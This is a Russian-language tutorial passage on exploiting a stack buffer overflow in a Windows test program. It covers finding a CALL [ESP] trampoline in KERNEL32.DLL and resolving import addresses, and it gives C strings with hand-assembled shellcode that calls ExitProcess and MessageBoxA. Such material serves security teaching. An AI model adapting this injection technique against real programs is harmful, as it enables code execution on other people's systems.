Переполнение буфера - Как подобрать строку
ОГЛАВЛЕНИЕ
Как подобрать строку
Первое, что необходимо сделать - разобраться с тем, какой адрес возврата мы укажем. Учитывая то, что наш код будет находиться в строке, которую мы передаём, нам нужно передать управление на какой-нибудь адрес внутри этой строки. Самый простой способ определить этот адрес - загрузить программу в дебагере, посмотреть, по какому адресу будет находиться наша строка во время выполнения программы, и указать в качестве адреса возврата, например, адрес начала строки. Потом мы сможем записать туда необходимый нам код. У этого метода есть, правда, один недостаток. Необходимый нам адрес возврата будет "слишком маленьким", скорее всего меньше чем 0x00ffffff. А это значит, что один из байтов в строке будет нулём, и это нехорошо. Избежать этого можно следующим образом: очевидно, что после выполнения возврата из процедуры, регистр ESP будет указывать на тот "хвост" строки, который остался на стеке. Поэтому, если передать управление по адресу [ESP], то начнёт выполняться программа, записанная в этом "хвосте". Следовательно, нас бы устроила возможность выполнить инструкцию JMP [ESP] или CALL [ESP]. Такая инструкция скорее всего найдётся в одной из динамически загружаемых библиотек (DLL), которые изпользует программа. Так как DLL обычно загружаются на достаточно высокие адреса в памяти, то в качестве адреса возврата мы и укажем адрес одной из этих инструкций в DLL. Выполнение произойдёт тогда следующим образом:
Одна из DLL, которые использует наша программа - KERNEL32.DLL. Попробуем найти в ней инструкцию CALL [ESP] или JMP [ESP]. Этим инструкциям соответствуют последовательности байтов 0xff 0xd4 и 0xff 0xe4. Для поиска можно использовать дебагер вроде SoftICE и просмотреть всё адресное пространство программы в области, где загружена KERNEL32.DLL (эта область начинается с Image Base, указанного в файле DLL). А можно искать просто в файле KERNEL32.DLL. Тогда лучше использовать какой-нибудь специльный HEX-редактор вроде HIEW, который указывает не только смещения байтов в файле, но и адреса, по которым они будут загружены в память. Положим что инструкция CALL [ESP] нашлась по адресу 0xbff794b3 (В общем этот адрес зависит от используемой версии KERNEL32.DLL). Вот это число мы и укажем в качестве адреса возврата, а прямо за ним в строке последует исполняемый код.
Теперь займёмся теми инструкциями, которые мы хотим выполнить. Для начала попробуем написать в качестве исполняемого кода простой вызов ExitProcess, после которого программа должна завершить работу. Смотрим таблицу импортируемых функций программы (с помощью PEBrowse, PEWizard, PEDump или чего-нибудь подобного):
 Import Directory from "KERNEL32.DLL":
       name table at 0xf03c, address table at 0xf0e0
         hint name
         ---- ----
            0 CloseHandle         
            0 CreateFileA         
            0 ExitProcess
            ...       
Так как Image Base у нашей программы - 0x400000, то адрес для вызова ExitProcess равен 0x400000 + 0xf0e0 + 8 = 0x40f0e8. Значит используем инструкцию CALL [40f0e8h]. C помощью ассемблера узнаём, что она компилируется в последовательность байтов 0xff 0x15 0xe8 0xf0 0x40 0x00. Значит переписываем функцию main следующим образом:
 int main()
 {
     // часть строки, заполняющая буфер
     char mystr[] = "111112222233333444445555566666777778" 
                    "\xb3\x94\xf7\xbf"           // адрес возврата
                                                 // ----------- код -----------
                    "\xff\x15\xe8\xf0\x40\x00";  // CALL [KERNEL32.ExitProcess]
     show_array(47, mystr);
     return 0;
 }
Компилируем, запускаем и ничего не происходит. Нет никакого сообщения об ошибке, программа просто завершает работу. Это означает, что переполнение буфера удалось - выполнился наш код.
Обнаружив теперь, что TEST.EXE импортирует и функцию MessageBoxA, адрес для вызова которой - 0x40f198, можно попробовать написать чего-нибудь поинтересней. Например, эта программа будет выдавать окошко с сообщением:
 int main()
 {
 char mystr[] = 
     "111112222233333444445555566666777778" // часть строки, заполняющая буфер
     "\xb3\x94\xf7\xbf"          // адрес возврата
                                 // ----------- код ------------ --- адрес инструкции ---
     "\x8b\xec"                  // MOV EBP, ESP                         // EBP+4
                                 //    (сохраним текущее значение ESP 
                                 //     в EBP для того, чтобы потом
                                 //     адресовать память "внутри" этой
                                 //     строки. EBP+4 теперь указывает на
                                 //     начало этой инструкции (байт "\x8b").
                                 //     Cправа отмечены адреса относительно 
                                 //     EBP)
     "\x6a\x20"                  // PUSH 20h                             // EBP+6
     "\x8d\x45\x35"              // LEA EAX, [EBP+35h]                   // EBP+8
     "\x50"                      // PUSH EAX                             // EBP+b
     "\x8d\x45\x1e"              // LEA EAX, [EBP+1eh]                   // EBP+c
     "\x50"                      // PUSH EAX                             // EBP+f
     "\x6a\x00"                  // PUSH 0                               // EBP+10
     "\xff\x15\x98\xf1\x40\x00"  // CALL [USER32.MessageBoxA]            // EBP+12
                                 //    (предыдущие строки вызывают
                                 //     MessageBox(0, "To be, or not to be..", 
                                 //                   "Question", MB_ICONQUESTION);
     "\xff\x15\xe8\xf0\x40\x00"  // CALL [KERNEL32.ExitProcess]          // EBP+18
     "To be, or not to be...\0"  //     Строки для передачи MessageBoxA  // EBP+1e
     "Question\0";               //      ----                            // EBP+35
     
 show_array(36+53+10, mystr);
 return 0;
 }
